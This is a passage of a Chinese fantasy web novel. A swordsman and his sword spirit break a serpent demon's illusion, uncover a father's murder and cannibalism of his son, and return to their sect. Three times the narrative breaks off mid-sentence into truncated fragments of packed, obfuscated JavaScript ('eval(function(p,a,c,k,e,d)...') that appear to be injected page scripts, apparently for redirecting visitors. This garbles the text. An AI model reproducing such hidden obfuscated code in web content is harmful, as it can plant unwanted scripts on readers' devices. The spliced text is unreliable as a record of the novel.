RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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叶於年听此,逼不得已看向自家剑灵,轻生道:“咕咧,啰嗯,格噜咯。” 别乱学。 谁知剑灵知错不改,反倒继续不管语意为何,此刻能不能对上,胡乱拼起句子:“夭寿咯,闲杂亲亲我我,走水赚大钱……” 怎么鹦鹉上身了?叶於年凑近剑灵,又强调了一遍别乱学。 椿岁点头,确实乖乖听话没再乱讲话了,只是低头和叶於年咬耳朵:“克噜。” 听此,叶於年快速翻了一遍册子,没能找到对应的字词,疑惑地看向椿岁。 椿岁眼睛一眯,二话不说捏住叶於年的鼻子,而后用手在前边扇了扇,同时自个吐着舌头,发出“呜诶”的怪响。 “克噜,咿啦特嗝。” 臭,想吐。 叶於年总算明白过来,朝一脸呆滞的小吏问:“你觉得臭吗?” “不,不啊。” 不仅不臭,他们反而翕然觉得四处弥漫着幽香。并非单是酒香,还有一股他在火圣堂附近也闻到过的,似曾相识的香油味。 “何,处,臭?”叶於年用遗音问。 “好多处,”椿岁指了个方向,不满道,“那最臭。” 那是一坛开了封的酒,叶於年朝内一看,只见内里浸满了人骨,原本静默的黑蛇蛇身倏然扭动,蛇目正对他们。 8. 第八眼 惊变 不过一弹指顷,叶於年所有的注意都被强行聚焦到蛇目内。 黄绿纹路交错的蛇目外覆着的薄膜在暗处隐隐泛着磷光,中心嵌着细长的黑洞,如裂谷,似深渊,引人下堕。 四下杂音都被清扫殆尽,静谧中,仅余下逐步加促的呼吸,和心脏剧烈跳动的声响。 咚,咚,咚…… 倏忽一声叹息落入耳中。 黑洞深处遽尔伸出来一只枯老的手,不容拒绝地一把擒住了叶於年的喉咙。 「养了你这么久,你也该还恩了……不要怪我,我也是逼不得已……」 呼吸皆被那嵌入皮肉的指节所阻隔,叶於年寒毛顿起,猛地将手甩开,往后退开半步。 又一声叹息响起。 脚方触地,便有水波自脚跟处漾开。 他顿时感觉自己失了衡,整个人往下溺去,坠入一缸彻骨的冷水,下一刻眼前却又“咕噜咕噜”出现了许多滚烫的气泡,像是有一块被烧红了的烙铁沉入水中。 「年年乖,要藏好了……」 骇惧犹如一张巨网,一下下收紧,尝试将他的心神拽入那方与过往相关的囚牢中。 不……不! 叶於年的注意从蛇目中挣脱,视线重新恢复清明,可四下情景却已然发生了翻天覆地的变化。 昏暗的货栈被分解再重组成一片山林池沼,他甚至能闻到潮湿的气息,听见潺潺水流声。 他尽力平复呼吸,却霍然察觉身后有细碎的声响。 回头望去,一条巨蟒正盘踞在他身后。 粗如树干的鳞甲舒展开来,硕大的三角蛇首高昂,猩红信子吞吐间,黏液不断往下滴落。 叶於年心头一紧,第一反应是朝腰刀摸去,想伺机以攻代守,以便将巨蟒逼退,为自身谋得生路。 可就在手快要触及腰刀的那一刻,他兀然感觉有风拂过耳廓,惊起些许稍纵即逝的痒意,以及一阵毫无根据的直觉。 他总觉得这会儿应该有剑灵不满的哼声。 对了,我剑呢? 紧随疑问而来,叶於年发现,先前被他攥在手心的惊变符在发烫。 「惊变符」也属小通符令的一种,修士一般会将其放置在被妖魔残害的尸体上,一旦尸体出现异样,就会发红发烫,以作警醒。 后来叶於年发现这玩意用在活人身上也照样行得通。 活人的魂体受到毒蚀或幻术的侵扰,同样会被视作异变,同样能让符咒惊醒,很适合用来防患于未然。 在此基础上,叶於年为查剑名而钻研神书时,还顺道尝试在惊变符下层,用神书叠上清心净神的咒式。好让符令在惊变过后,还能稳定惊符者的心神。 眼下明显是起了效用。 “椿岁?”叶於年唤道。 迎着他这一声,又一缕风拂来。 叶於年抬眼,定定道:“你,变,蛇,了。” 剑灵估计又生气了,巨蟒毒牙怒起,凶狠摆身,扑起一股风。 风势短促凌厉,遽然掀起叶於年脑后那束形单影只的长发,却并未在他身上留下哪怕一丁点伤痛。 他在心中默念清心诀,迎着巨蟒伸出手,尝试去触碰眼前这一毒魔狠怪。 巨蟒尖利的毒牙还粘连着晶莹剔透的唾液,蛇身蓄势待发得如满弓之弦,气势汹汹地朝他逼近,仿佛下一刻就要俯身将他一口吞没。 叶於年呼吸凝滞,脊背绷得笔直,吐息带着颤意,握着惊变符的指尖无意识地往掌心内抠。 要控制自己恐惧畏怯的本能,不去拔刀,不做逃避。 可感官上的生死相逼太过磨人,他终究没能经受得住,一合眼,万千世界归于黑暗的同时,让他全身不由怵惕的危险并未来临,叶於年感觉自己的手被握住了。 触感冰凉,握得人很舒服。 “假的!”剑灵的声音落在他耳边,带着来势汹汹的安心感,努力地强调着,“假的假的假的……” 没什么好怕的。 剑修与其剑命脉相连,椿岁理应是他唯一可以绝对信任的盟友。 哪怕他与剑灵相识甚短,哪怕剑灵幼稚得不太靠谱。 “没变蛇,是剑!”剑灵语气严肃,一点不允许有任何存在篡改他的物种。 “嗯。”叶於年应道。 你是我的剑。 他此刻已然可以确认,诸多怪异,皆来源于「瞳术」。 根据他们识妖课上所讲,这是羽蛇妖惯用的幻术伎俩。只需四目相对,便能扭曲感知,令人如坠他境。 叶於年睁开眼,巨蟒与山林消失不见,化作虚无的白茫。可除却两手相握的触感,他依旧不太能感知到椿岁的存在。 但这并不值得慌张。他对妖魔没少琢磨,哪怕无法感知到灵,也大体能对情况有所判断。 现下瞳术已然失效大半,只剩摇摇欲坠的基底,破解起来并不难,就是他能用的法子会比较笨拙。 椿岁应当并未受瞳术影响,但货栈里还有位凡人身的小吏,不知是否安然。 “人,如,何,了?”叶於年问。 须臾,椿岁回答:“地上,活的没坏。” 叶於年不清楚剑灵“没坏”的具体定义,只能尝试拜托一句:“护,他。” 剑灵一身反骨:“不要。” “求,求,了。” 叶於年求人的时候都是面无表情的。剑灵哼了一声,隔了一会,才应道:“好吧。” 话是这么说,但仗着剑主不知道,椿岁的目光还是不偏不倚地放在剑主身上。 他不安分地往前蹭,仔细瞧看起剑主双瞳前附着的那一层薄薄的灵雾。 这就是瞳术的灵流所在。 用雾来形容其实不太准确,因为在这一层东西上,布着无数如小虫子般蠕动着细纹,还怪恶心的。 椿岁嫌弃地吐了吐舌头。 “砰”的兀然一声碎响。 椿岁一惊,往声响处看去,前边的坛子碎了,腥臭的液体炸开,浸在里头的人骨也随之散乱一地。而造就这一切的黑羽蛇正扭动着身躯,艰难地往地上躺着的小吏爬去。 就是这家伙害剑主以为我变蛇的。 椿岁食指在叶於年的掌心里戳了戳,刚要提醒,就见剑主又把那破腰刀拔出来了,刀刃还抵在胳膊上蠢蠢欲动。 叶於年没有灵力,所以破解瞳术最快的办法,就是在自身落咒,利用痛觉来醒魂。 “不行!”椿岁抬高声,捉住叶於年胡作非为的手。 这下叶於年两只手都被他给逮了,让他底气十足,气道:“你答应我的,不受伤。” “尽,量。”叶於年提醒道。 椿岁才不跟他玩文字游戏,扬声道:“你答应我了。” 叶於年嘴上辩驳,却也没去挣脱,望着白茫茫的景象,平和道:“没,招。” 总不能一直被困瞳术里,等它自行瓦解吧,那起码得好几个时辰。 “有招!”椿岁反驳。 他笑盈盈地盯着那条黑羽蛇,舔了舔嘴唇,说:“听我的。” 椿岁拉着叶於年调转方向,往前走了一步,托起他握着腰刀的手,说:“这,直刺。” 叶於年未作多想,就着声,干脆利落地弯腰往下刺去,刀尖很快就被卡在了半空中。 与此同时,周身白茫宛若被烧裂的瓷片,出现了无数道裂痕。 他见状立即再度用力往下刺了几分,白茫上的裂痕也随之又深了几重。 “好了。”椿岁蹲在旁边,看叶於年的腰刀准确落在黑羽蛇七寸稍偏的位置,不致命,却也有它好受的。 看了好一阵,他才含糊道:“是快要坏掉的小蛇……” 看来剑灵并不是蛇狐不分。叶於年心叹,而后就听见椿岁忽然跃跃欲试道:“似乎灵流可逆,要不要玩玩看?” 只听明白“要不要”的叶於年点了下头。 “抬三指。”椿岁道。 叶於年依言上抬胳膊,感觉刀尖勾在一层皮肉上后,椿岁压着他的手,指挥他在其上一笔一停地绘制出他从未见过,且异常复杂的咒术。 最后又让他用指甲在惊变符上划拉几道,压在腰刀边上。 叶於年眼前白茫逐渐褪去,可取而代之的,是更为诡异的情景。 他此刻简直像在用蛇目视物,视角不仅变矮了,还被缩小了几重,前方出现一个橙红人影,从轮廓看,是那位小吏。 “成功没?”椿岁自问自答,“成功了吧。” 叶於年:“这,是?” 椿岁得意道:“我刚想的。” 黑羽蛇的瞳术很强,可世间有得必有失,越是强悍的术法,其间缺漏越大。对照着最深层的灵流让叶於年在妖身上刻咒,再利用修过的惊变符做底,即可改逆其走势,借助黑羽蛇自身的灵力再度催动瞳术,并将作用对象改换成黑羽蛇本身。 椿岁兴高采烈地图穷匕见道:“它现在已经跑不掉啦,刀没用了,弃了吧!” 剑灵果然好在意刀的事。 叶於年心下好笑,松开握住腰刀的手,站直身迎来了剑灵一长串听不懂的叽里咕噜。 他费了好大的劲才从密密的话里,挑拣出能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年双目涣散泪流不止,俨然是中了瞳术,伏跪在妖物前头,颤抖着诉说他所求之事,仿若在向神灵祈愿:“我什么都可以做,你们就算是要我这条命也可以,只要元义死,只要能把他的头也撬开,给进鑫哥哥偿命……” 据叶於年所知,元义的独子就叫元进鑫。 他心下正寻思这三人的关系,红蛇的身影忽然从他身侧闪现,俯冲向前,钻入少年喉中,将他那声声“要让元义偿命”的祈求给截断在了半路。 未几,少年发出干呕,迎着叶於年的面,一根根人骨从他喉中吐出,如雨般落下。 饶是见惯血腥,也很难不为此情景骇然。 叶於年合了合眼,又默念了一遍清心诀,才稳住心神去稍作梳理。 也就是说,少年曾因元进鑫与元义结仇,主动揽下去货栈取酒的差事想给元义下毒,结果撞见了红黑二蛇。 黑羽蛇为阻止“被魔毒侵占”的红蛇前去云璃沼,便用瞳术控制少年心念,让少年甘愿献出身体,来让红蛇脱困。不料红蛇用少年的模样离开后,居然真折返回画舫,还当众咬烂元义的头,引得他来货栈探查。黑羽蛇也是察觉他到来,预感大祸临头,才想着要先下手为强。 少年的神态逐渐与在火圣堂前时重合,叶於年琢磨着黑羽蛇口中“魔毒”一词,捏了捏椿岁的手,提道:“伤,我,的,你,说,是,狐。” “对呀,坏透的狐狸。”椿岁应得飞快。 “可‘师弟’说,是,蛇,妖。” “唔……也对,”椿岁回忆了一下,道,“它是人皮,妖骨,魔魂。” 是个串得没法单一定义的大杂烩。 “所以说他是蛇妖也没错,但本源就是入魔的狐狸哦。” 椿岁先前说自己什么都能“看见”,并非没头没脑的自夸。 名剑皆会生灵,皆会与其主有所感应,能生出剑灵实体的却是凤毛麟角。也是因此,在叶於年阅读过的典籍中,对剑灵的记载不多。 偶有提及,皆言其与灵宠无异,大多时候都只能陪剑主聊天解闷。当然,要是运气好,遇到曾历经数主的剑灵,记得些已经失传的剑法授予新主,助新主修行;但也有可能运气极差地碰上染血沙场、积怨甚深者,祸乱剑主道心,催其成煞。 反正从未见过有说像椿岁这样的。 真的什么都能“看见”,且能“看见”的远比叶於年理解的多得多。 明明平常什么都不懂,却能不受瞳术影响,不费吹灰之力一眼看穿妖魔的本源,还会思考着利用这点修改灵流,短时间内自创逆咒。 叶於年后知后觉地意识到,他是真捡着宝了。 9. 第九眼 余恨 可惜眼下不是能捧着剑灵稀罕的好时候,灵力逆流的瞳术不能支撑太久,而叶於年心底还有不少疑问未能得到解答。 比如,既然红蛇,更准确来说应是狐狸,向少年“借皮”是为逃跑,那它没道理冒着无法全身而退的风险,在众目睽睽下,咬烂元义的脑袋。 总不能所谓“重要之物”是指元义的脑浆吧。 叶於年定了定神,问黑羽蛇:“它现在是打算守约去杀元义?” 如他所料,黑羽蛇不屑道:“开什么玩笑。” 从一开始它们就没打算应允少年的祈求。我为刀俎,他为鱼肉,凡人没资格和它们谈条件,没资格让它们为之冒险。 “杀人事小,但太引人注目了……” 所以狐狸杀元义并非自愿。 可能“借皮”本身对妖魔有牵制,迫使它必须替原主完成心愿。 也可能是“借皮”并不稳固,少年对元义的杀心又达到了极致,以至于狐狸机缘巧合上了画舫后,身体失控了。 元义尸体上有人手堵住喉舌的痕迹,杀之未用术法,所以后者的可能性更大。 叶於年晃了晃椿岁的手,再度向剑灵求教道:“狐,有,人,魂,魄,否?” 被晃手时,剑灵的指节会下意识弯起,用平整的指甲在他手心不安分戳来戳去,语气也十分轻快:“命魂还在,魄……忘啦,反正不太全。” 少年的魂魄果然还未全消。 一个凡人的仇恨,居然能反控身为魔毒的狐狸。 叶於年心念微动,稍稍有些急促地再度开口问:“你用瞳术在那人心里看见了什么?” 瞳术能攫取人心的悔恨与恐惧,以此摧毁中术者的理智,让其迷失在幻境中,对亲友刀剑相向,或含恨自缢。 碰上叶於年这等心智坚定的,倒只能抽取几个含糊不清且怪诞扭曲的片段;但换成主动想倾诉仇怨的少年,心魂很难不被看透了底。 黑羽蛇幽幽道:“无聊的东西。” 叶於年眼前的景象应声扭变,最后定格成一条脏兮兮的小巷。 以他对永古上镇的熟悉程度,哪怕没进过,也能依稀辨认出,这是天仙楼的后巷。 来货栈的路上,小吏曾简单对叶於年说过少年的情况。他年十六,认识的人都喊他“半两”,因为他是被天仙楼用半两银子从他父母手里买来的。 半两性子孤僻却很安生,做事也麻利,挨打了也不吵不闹,总是悄悄躲在角落,让人想不起他的存在。 叶於年不意外半两会是这种性子,在泥潭里打滚,就两种人活得长久:一种是舌灿莲花,会出糗来博大人开心的滑溜子;另一种就是像半两这样,逆来顺受,做条留着永不亏本的哑狗。 那天,半两撞见一个打扮得干干净净的小孩,翻墙都翻不明白,就敢摸到后巷来。 半两上前把人给逮了,一番盘问,方知小孩名叫元进鑫,比他还大三岁,他爹是天仙楼的常客,日夜挥霍把他们家底都掏空了,他娘为此日夜以泪洗面,他气愤下偷偷跑来,想看看天仙楼里是不是真住着天仙,把他爹勾得三魂没了七魄。 听此,半两谑笑道:“傻缺,这事跟有没有真天仙没关系,只跟你老子管不管得住身下二两肉有关系。” 元进鑫涨红了脸,和他吵了起来,最后甚至扭打到一块去,结果谁也没占着便宜,反倒都打饿了。 俩小孩情绪来得快去得也快,元进鑫擦了擦变得脏兮兮的脸,从兜里翻出一包酥糖,分了一半给半两。 而后一眨眼的工夫,元进鑫就变成了十八九岁的青年模样。 叶於年无从得知他们中间岁月里发生过什么,只看得出他们成了朋友,还是极要好那种。 毕竟感情不深,不足以成梦魇。 “我娘下定决心提和离了,回利州去,听说那边战事停了,能讨个安生日子。”元进鑫和从前一样,蹲坐在后巷的石墩上,声音却变了不少,带着读书人的温润感。 “好事。”半两也到了换声的年纪,声音哑哑的,有点冷淡。 他顿了顿,问:“你跟着吗?” 元进鑫:“得跟着,不然谁照顾我娘。” 说完,他俩都静了下来。 好一阵,元进鑫才主动打破僵局道:“不过和离得双方到镇衙盖印,爹他到外城做买卖去了,明儿才回来。” “我在想要不劝娘直接走了算,和离书的事再想办法。爹这些日子老说得了神谕,我……说不上来,反正怵怵的,总感觉再不走,会有不好的事。” “能有什么事,”半两闷闷道,“你就是想急溜离开这,硬给自己编理由。” “没,”元进鑫连忙反驳,双眼死死盯着半两,说,“我舍不得你。” 他像是下定了某种决心:“你要不和我们一块走?我这些年存的钱,够把你赎出去的。” “……你银子不是存着开医馆的吗,花我身上干哈?” “医馆不急,人比较急,”元进鑫笑着说,“其实来之前,我就自作主张问过我娘,我娘说挺喜欢你的,乐意再添个儿子。到了新地方,我们可以一起改新名字,你想去外面做工,或者在医馆帮忙都行,全都依你,考虑考虑吧。” “成。” “成什么?” “跟你走。”半两没好气道。 “真的?”元进鑫难掩欣喜,快着嘴皮子又说了许多,最后深吸一口气,问,“那你今晚还来我这学字吗?” “哪敢不来,”半两语气听着像不耐烦,又像在笑,“照旧戌时来敲你窗。” 半两明显是失约了。 子时的更声响起,掺杂着半两气喘吁吁的呼吸。叶於年眼前的景象,变成了一扇紧闭的木窗。 半两抬起手,裸露的手臂上多好几条用藤条抽出来的淤青。他在窗边敲了十几下,都不见动静,于是贴近窗缝往里瞧,发现元进鑫不在房中。 半两找了一圈,场景也随之快速变化,最后停在元家祖堂前。 他躲在墙边,借着支窗的开口往里瞧。 祖堂内烟云雾绕,说是出了城的元义握着酒杯,站在元家的列祖列宗牌位前,旁边是他那已无生机的发妻,手里掐着的,是已然被凿子凿穿脑袋的儿子。 半两的视线正好和奄奄一息的元进鑫对上,他眼睛蒙着灰,却还是尽力张合着嘴,默声说: 快走,别管我。 元义高举起酒杯,红光满面道:“元小大夫妙手回春,定会为生你养你的亲爹治好穷病的,对不对?” 说罢,他将杯中酒一饮而尽,摇摇晃晃将元进鑫脑袋上的凿子拔掉,而后如野兽般就着破口,咬了下去。 一口接着一口地。 元进鑫连痛呼都无法发出,双眼发白,却始终盯着半两所在的方向,无声重复着:走。 眼前一切渐渐被血色占据,再看不清别的,耳边也只剩下半两的啜泣声。 他恨。 恨元义,也恨自己。 弱小至此。一年到头只寻到一次接近元义的机会,想下毒,可想尽办法弄到手的毒,还是被宣判说杀不死人的。 正因无力到极处,所以纵使妖魔,亦可叩。 叶於年借着半两的双眼,可以清晰看见,在元家祖堂正中,摆放着一面石盘。其上刻画着他永生难忘的图样。 「年年乖,要藏好了……」 叶於年呼吸停滞,手不自觉哆嗦起来,好在很快感觉椿岁捏了下他的手心,令他心神由骤然放松了下来。 他咬牙问:“元义究竟何人?他捉你们想做什么?” 黑羽蛇被叶於年的声音一惊,颤道:“不知。明明确实只是个凡人。” 叶於年吐出一口浊气,改问:“你们是怎么被捉到这的?” 眼前快速扭变出不同场景,没一个定性。黑羽蛇迷茫道:“不知,醒来就在这,有针对鳞族的禁制,我们出不去。” 怎么什么都不知。叶於年语气冷淡:“魔毒要寻的重要之物是什么?” “它没告诉我,不重要,只要它不去云璃就成……” 瞳术对人心神的影响由强渐弱,反噬到黑羽蛇身上也是如此。叶於年又接连问了几个问题,都没得到有用的答案,脸色愈发不善。 这时椿岁冷不丁发出了一声提醒: 瞳术要撑不住了。 叶於年赶忙接着问:“为何它去云璃沼会害死大家?” 黑羽蛇一下激动了起来,喉舌发出“嘶嘶”的响动,哑声道:“因为它是毒,会让所有鳞族入魔的毒,它不能去云璃……” 叶於年闻言瞳孔一缩。 对了,椿岁嘀咕过黑羽蛇是“快要坏掉”的。 他一抿唇,不等瞳术自行瓦解,就先一步抬脚,用力跺在腰刀的刀柄上。 “哇哦”椿岁高兴的感叹和黑羽蛇痛苦的嘶声同时在耳边响起,眼前扭曲的景象全消,取而代之的,是剑灵那张漂亮的脸。 “苏度勒欸啦。” 回来啦! 椿岁盯着他的眼睛,手里抓着刚偷得的册子,笑靥如花道。 不知为何,看见剑灵,叶於年心好像一下安定了下来。 他对椿岁点了点头,松开与之交握的手,快步走到小吏前为其探脉。发现小吏只是晕过去后,从小包摸出针囊,取银针往其指尖正中的十宣穴用力刺去。 小吏很快就被剧烈的疼痛惊醒,惨叫出声。叶於年在人反应过来前利落地拔掉针,从包里摸出传音符纸,淡定问:“你们说元义的妻儿是因走水而死的?” “是呀,烧得骨头都快成渣了。”小吏愣愣回答。 “当初仵作验过吗?他们头骨有无被撬开的痕迹?” 叶於年一边说着,一边尝试传音给巫如。可巫如估计已到长鸣剑山,小通符令的传音符离远了就不起效果。 “没,没呢,当时元老爷回来发现家没了,说自己在这伤心地久留心痛难耐,急着给妻儿下葬,再加上是明摆着烧死的,就没啥好验,所以就……”小吏怯怯道。 “没啥好验?”叶於年反问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半两这种无亲无故,从风尘地里爬出来的小鬼头,能给他在乱葬岗刨个坑填点土就不错了,谁能有心思给他办这种死人差,还要安葬到正经人家坟边上,这不纯闹吗? 小吏刚想推脱,就见叶於年递来了三十两。 叶於年嘱托道:“他们二人生前是好友。事你自己办就好,别出差池,明白吗?” 别说是三十两,十两都够平头百姓买具像样的棺材,安稳落葬了。 银两一出事情就变好办了起来。 小吏当即换上一副笑脸,答应道:“这事定给仙长您办妥。” 椿岁对银钱的理解还停留在剑主教的“买卖”里。见叶於年把钱给别人,却没有收回来任何东西,他问:“‘买’咩?” “慰藉。”叶於年用今音回答。 “太平世下,有太多不平事,总需有所慰藉的。” 椿岁听着剑主低声呢喃,里头的好些字眼他都有印象,可话绕得厉害,组合起来,他理解不了其中意思。 唯一清楚明白的就是,剑主这会儿并不高兴。 椿岁盯着叶於年在阴影下不显明亮的双瞳,觉得不能放任不管。 推己及人,因命契的存在,他看见剑主会感到高兴,那理所当然的,剑主看见他也该高兴。所以他暗戳戳踢了脚地上的腰刀,又一次毫无预兆地上前双手捧起叶於年的脸,硬逼对方看他。 “别,”叶於年不知剑灵闹哪一出,握了握他手腕,试图沟通,“有,事。” “我也有事,”椿岁仗着自己能敏锐感知灵息,临时扯了个借口出来,“‘六师弟’又来了。” 叶於年听到这话一顿,急道:“化,回……” “大师兄你上这边了怎么都不给我说一声,害我在河边问了一圈才找到来。” 来不及了,童翦忆快步来到货栈门边,还没迈进来,眼睛就死死粘到椿岁身上揭不下来。 “天呐……”童翦忆惊呼。 叶於年已想好怎么解释他本命剑化灵,却未告知师门这事了。 “我知道你!” 童翦忆惊愕得连话都说得比平常利索了:“你就是三师姐口中,因样貌出众而被误认为小娘子,稀里糊涂与大师兄定了娃娃亲,自此和大师兄两小无猜,竹马竹马,互相心许,结果因个长太高而露馅,又因男风不被家人邻里接受,被逼着退亲,一气之下跟随着大师兄远赴咱们长鸣剑山,被大师兄金屋藏娇好几年,前几天才不小心被我们发现的……那位相好!” 叶於年:? 椿岁:“咩?” 一个敢编一个敢信。 剑练多了,脑子都容易出点或大或小的毛病。童翦忆沉浸在他三师姐构建的苦情故事里无法自拔,同时又带了点不耻下问和勤勉好学,问:“不过你身法怎么这么好?居然能一下在所有人面前隐去行踪,连师尊和八师叔被你骗过去了,能不能教我,我也想随时随地开溜,我真不想听讲宗门史了……” 椿岁依旧:“咩?” 10. 第十眼 御剑 “怎么一直在咩?羊上身了?”童翦忆不解。 叶於年没打算多纠正椿岁的来历,反正他觉得除六师弟外,也不会再有人信这些乱七八糟的编排,兀自从一旁的柜子取下用来遮盖货物的麻布,看了眼主动过来帮忙的剑灵,平静道:“他听不懂官话。” “为什么?他不是这的人?” 童翦忆拍了拍胸口,一边往里走,一边自来熟道:“没事,小如刚入门也不会说官话,还是我教的他呢!” 原来巫如当初入门两年还说不利索话是因为这个。 “所以‘咩’是指什么?”童翦忆问。 叶於年如实回答:“指‘什么’。” 童翦忆:“哈?” “小心脚下。” 听见提醒,童翦忆才注意到叶於年收拾的居然是一根根白骨。他当即缩脚,惊愕问道:“这谁的骨头?” 叶於年略过一系列前因后果,单刀直入道:“先前捉获的妖物疑似能令鳞族入魔,我担心七师弟会有危险。” 童翦忆皱眉:“小如又不是鳞族,能有什么危险?” “他不是,魏先生是。”叶於年道。 简直是捉老鼠丢米袋里,巫如养在身上的红沙蟒,刚好就是不折不扣的鳞族。 “对哦!有这事你怎么不早传音给我!还有心情在这亲亲我我!”童翦忆跳脚。 这时,椿岁跟被触发了机关似的,嗓音空灵悦耳地跟着重复了一句:“亲亲我我。” 然后又笑了笑,自作主张地补道:“喇了屁/股眼。” 童翦忆赞道:“就是!咦?这官话不是说得挺好的吗?” 叶於年:“……” 怎么就净记着喇屁/股眼了? “不对,大师兄,你怎么能教这么漂亮的人,说这么糙的话?”童翦忆反应过来,大声指责。 都赖我吗?叶於年面无表情地心想。 “不对不对,现在不是聊天的时候!快快快,我们御剑回去!”童翦忆总算自行往正事上掰了回去。 “先传音。”叶於年道。 御剑再快,也比不上说话。大通符法的传音符要比小通符令传域更广,六师弟能来邪修符再好不过。 “你让他先把妖物送师尊那,自己带魏先生躲远点,其余等我们回去再说。”叶於年安排道。 事关巫如,童翦忆一点不敢掉以轻心,立即将灵力凝于指尖,写下第一笔,余光就瞥见大师兄的相好在盯着他。 被美人注目本该是件令人心怡神悦的事,可童翦忆不知为何,大师兄相好的视线让他总有种自己被看穿的惊慌感,跟在学堂里被师长盯着做功课时一样。 童翦忆不由挺直腰板,写画的符样也端正了不少。 那头,叶於年已将半两的遗骸全收捡到麻布面上,叠成布包,轻手轻脚放到小吏跟前,开口问:“六师弟,你觉得这臭吗?” 童翦忆吸了吸鼻子:“怪香的。” 叶於年:“嗯。” “嗯”什么?童翦忆撇了撇嘴,想追问就发现大师兄和他相好光明正大地说起了小话。 “克噜?”大师兄道。 他相好指了几个方向,鼻子皱了皱,看着不大高兴。 “意啾,咔呜。”大师兄拍了拍他相好的肩,被人顺势偏着脑袋蹭了一下手背。 啧,真腻歪。 童翦忆心下埋汰,见传音被巫如接下,连忙把该交代的交代出去,又听大师兄结束了悄悄话,对他说:“过来把它们一并用灵锁铐起来。” 依椿岁所说,这货栈不止一处“臭”的地方。 叶於年注意着避让视线,掀开了好几坛酒的酒封,发现里头泡着的都是蛇、鱼、蜥蜴等有鳞妖类。 童翦忆凑了过来,脸色发白:“鳞族近年来是没少作乱,但这未免也太……这酿来是干嘛用的?” “不知,”叶於年想了想,安排道:“保险起见,把这的酒一并带回去吧。” 童翦忆刚抬手,外头追进来一个满身富态的男人,铿锵有力道:“不可!” 就童翦忆一贯的阵仗,送押一个淫贼,也能押得让永古上镇的镇使老爷不得不从温柔乡里出来。 镇使气还没喘顺就先朝叶於年那边躬了躬身,说:“元义人是死了,可他还有别的亲族在世,万一有人找上门来讨要遗物,酒或者钱总得给一个,不然得硬说我们污东西。” 笑话,谁敢向您讨?一旁听着的小吏腹诽道。 镇使脸颊的肥肉垂在嘴角边上,腆笑道:“所以,这的酒按规矩要不充公,要不……仙长您花点银子买下来,总不能白拿走吧。” 叶於年好脾气地应了声“好”。 镇使立即勾出笑。这类与妖魔相干,沾着人命的玩意,他其实也不是真心想留,只不过他与仙门交道打得多,知道修士多的是正直到有点缺心眼的,一般为了不节外生枝,不会真放着害人的东西不管,多说两句道理话,基本都会乖乖掏银子。 镇使搓搓手,半弓着腰正打算接银子。结果叶於年转过身,拉着椿岁直接往外头走。 “诶!怎么走了?” “酒留下充公吧。六师弟,回去了。”叶於年道。 童翦忆跟了两步,有点于心难安:“真不管呀。” 叶於年头也不回:“好言难劝要死鬼,阎王专收贪财狼,管不了,也没空管。” “也对哦,死了也不关我们事。”童翦忆点点头。 镇使哪能想到这次会碰上不上当不买账的,脸色又青又白,忙追出来,扯着嗓求将酒带走。 “白拿不好吧。”叶於年背着身道。 “没,没不好,仙长是为我等降妖除魔,本就辛苦,哪能算白拿呢……” 童翦忆被这货一通变脸给气笑了,要不是惦记着要回去看巫如的情况,他高低得发难,现下也只能鄙夷地瞪那镇使一眼,甩手把酒坛子都收了。 “御剑只能带一人。”从货栈出来,童翦忆犯起了难,大眼珠子在大师兄和他相好间来回转,不知该如何是好。 叶於年倒没觉得这是个事,淡定道:“带我即可。” “他不和我们一起回去吗?”童翦忆指着椿岁问。 他不和我们回去。 椿岁凭借着贫瘠的今音知识,居然听懂了。 “他”是指我?不能吧。 开什么玩笑,剑灵哪能吃和剑主分开的苦。 椿岁上前贴着叶於年,想听他反驳六师弟,却被他给按住了胳膊,钉死在原地。 叶於年冷酷地说:“别,动。” 是真的不打算带他? 剑灵天塌了,没来得及提出反对,叶於年就推着六师弟的肩走离好几步。 椿岁刚往前追了半步,叶於年又一句“别动”砸了下来。 这次还多补了一句:“听,话。” 椿岁眼睁睁看着剑主灵活跳上另一把剑,心头的不满都要溢出来了。 听什么话?为什么要听话? 他再度追上前,而后看见剑主把手别到身后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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打着能者居之的旗号,修界抢夺灵宝法器之事比比皆是,他九师弟的无双剑就曾遭宵小劫掠。 九师弟是可以安然应对,可凭心而论,换成叶於年自己碰上此类事况,他并无绝对的把握能守得住剑灵,所以需要谨小慎微地将剑灵藏起来。 最好能藏一辈子。 语不详焉,但椿岁还是勉强能明白其意,不太认同地回了一句:“那就我来护你,不用你来。” 叶於年也不反驳,应了声:“好。” 而后又收获了剑灵的一声:“哼。” 一回到长鸣剑山,叶於年就远远看见巫如蹲在山门口。 平时总笑眯眯的七师弟这会儿脸上只余担忧,瞥见叶於年他们回来,赶忙道:“大师兄,六师兄,魏先生它……” 他掌心捧着的红沙蟒因无活动的眼睑,所以如往常般睁着眼,却一动不动,软趴趴的,全无生机可言。 “回来时还好好的,可就刚才,它忽然开始乱咬,我好不容易制住它,它就昏过去了,怎么都没反应,是不是你说的那个……毒?” 一只蝎子从巫如的耳朵爬到山根处,尾刺在他皱起的眉头上点了点:“可师尊闭关了,我就将那妖改送到八师叔那,出来时分明听到他说,并未感觉魔气呀。” 11. 第十一眼 困意 “八师叔也探不出来?”叶於年意外道。 当下长鸣剑山最厉害的修士并非掌门步作人,而是他的八师弟,手握剑谱排名天字第三「定山河」的屈佐。 连他都探查不出来,那放眼整个修界,可就说不上还有几人能探出了。 